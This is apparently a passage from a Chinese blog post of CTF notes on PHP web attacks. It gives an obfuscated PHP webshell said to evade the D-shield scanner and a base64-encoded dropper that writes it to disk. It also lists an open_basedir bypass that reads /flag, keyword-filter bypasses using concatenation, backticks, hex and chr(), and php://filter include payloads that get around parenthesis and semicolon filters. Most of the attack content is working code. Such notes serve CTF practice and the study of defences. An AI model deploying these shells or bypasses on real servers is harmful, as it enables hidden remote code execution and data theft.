
}

首先访问ip/php/miansha.php

结果会返回一个错误,但是会在php文件夹下生成一个phpinfo.php文件。 生成的phpinfo.php文件中代码为:

<?php

  $str1 = 'aH(UUH(fsdfH(UUH(fsdf,fdgdefjg0J)r&%F%*^G*t';

  $str2 = strtr($str1,array('aH(UUH(fsdfH(UUH(fsdf,'=>'as','fdgdefjg0J)'=>'se','r&%F%*^G*t'=>'rt'));

  $str3 = strtr($str2,array('s,'=>'s','fdgdefjg0J)r&%F%*^G*'=>'er'));

  if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e'){

      $str4 = strrev($_POST['a']);

      $str5 = strrev($str4);

      $str3($str5);

}

e10adc3949ba59abbe56e057f20f883e的md5解密为123456

原文链接:https://blog.csdn.net/weixin_50464560/article/details/117104664

改下也可以绕D盾2.1.7.2

<?php

set_time_limit(1);

ignore_user_abort(true);

$file = 'phpinfo.php';

$shell =

"PD9waHAKCSRzdHIxID0gJ2FIKFVVSChmc2RmSChVVUgoZnNkZixmZGdkZWZqZzBKKXImJUYlKl5HKnQnOwoJJHN0cjIgPSBzdHJ0cigkc3RyMSxhcnJheSgnYUgoVVVIKGZzZGZIKFVVSChmc2RmLCc9PidhcycsJ2ZkZ2RlZmpnMEopJz0+J3NlJywnciYlRiUqXkcqdCc9PidydCcpKTsKCSRzdHIzID0gc3RydHIoJHN0cjIsYXJyYXkoJ3MsJz0+J3MnLCdmZGdkZWZqZzBKKXImJUYlKl5HKic9PidlcicpKTsKCWlmKG1kNShAJF9HRVRbJ2EnXSkgPT0nZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UnKXsKCQkkc3RyNCA9IHN0cnJldigkX1BPU1RbJ2EnXSk7CgkJJHN0cjUgPSBzdHJyZXYoJHN0cjQpOwoJCSRzdHIzKCRzdHI1KTsKICAgIH0KPz4=";

// while(true){

 file_put_contents($file,base64_decode($shell));

// usleep(50);

// }

绕过open_dir的限制

参考https://www.v0n.top/2020/07/10/open_basedir%E7%BB%95%E8%BF%87/

还有这个

mkdir('tmpdir');chdir('tmpdir');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');$a=file_get_contents('/flag');var_dump($a);

关键词绕过

注意:当没有思路时,应该优先思考如何绕过,再想同义词替换

字符串拼接绕过

比如说:php的system函数支持如下语法

<?php system('cat /fla'.'g');?>

或者linux层面的拼接

thai=system('ca""t /fla""g');

eval特性

执行phpcode

此时扫描目录

print_r(scandir("/"));

/f1agg目录(用点运算符拼接起来)

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
eval独特的拼接绕过

利用.拼接绕过(sy.(st).em)
使用内敛执行代替system

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=`\x6c\x73`;   //十六进制
                    //八进制也可

同义词代替

用print_r或者var_dump来代替echo

print_r(scandir("/"));        //列出根目录下的文件(数组),然后回显

用var_dump(file_get_contents())来代替cat

**file_get_contents()** 函数是用来将文件的内容读入到一个字符串中的首选方法。

示例

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

过滤括号

方法一:使用无括号的函数注入

image-20210916175228508

就是使用文件包含敏感目录的方式攻击(双引号可以不用)

payload:

include%09"$_GET[a]"?>&a=php://filter/convert.base64-encode/resource=flag.php

或者

include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

过滤分号

如果是eval函数

看了下面这个

image-20210916180153087

发现只需要把;换做?>就可以绕过了

include assert system等等函数都可以使用此法

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇